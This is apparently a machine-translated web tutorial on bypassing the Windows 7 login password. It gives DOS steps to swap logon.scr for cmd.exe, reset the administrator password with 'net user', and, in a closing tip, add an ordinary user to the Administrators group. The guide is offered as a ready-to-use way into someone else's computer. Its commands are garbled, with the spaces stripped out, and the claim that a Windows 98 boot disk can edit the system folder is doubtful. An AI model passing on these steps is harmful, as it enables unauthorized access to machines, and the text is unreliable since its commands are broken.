Teach you how to crack the login password of Zhongguancun win7 system computer

The specific method of cracking the win7 system boot password is as follows:

(1) First boot the computer, then use the DOS boot disk, such as: Windows98 boot disk, enter the pure DOS state;

(2) Then at the DOS prompt, follow the steps below, enter the following code:

cd (switch to the root directory)

cdwindowssystem32 (switch to the system directory)

mkdirtemphack (create temporary folder)

copylogon.scrtemphacklogon.scr (backup logon.scr)

copycmd.exetemphackcmd.exe (backup cmd.exe)

dellogon.scr (delete logon.scr)

renamecmd.exelogon.scr (change cmd.exe to logon.scr)

exit(exit)

(3) After restarting the computer, wait quietly after the login waiting screen appears. About 10 minutes, the system will automatically start the login screen saver program, but since Logon.scr has been replaced by cmd.exe, the system starts cmd. Exe, enter the command line prompt state.

(4) Then use the command netuserpassword to change the password. If there is a super administrator's account is Admin, you want to reset the password to admin, then you can use the command: netuserAdminadmin, you can change it after you press Enter. Password;

(5) If you want to enter the desktop system to see what is on the hard disk, you can try to enter the Explorer command at the command prompt, you will find that you have successfully entered the Windows desktop.

Tip: If you have a normal user account, you can use the method described above to make a slight change to turn it into a super administrator Administrator account, and then back up logon.scr and usermgr.exe Replace the second step of cmd.exe with usermgr.exe, restart the computer, wait a moment, then you will find that the command line prompt is not the user manager, then we have the permission to put ourselves Added to the Administrator group.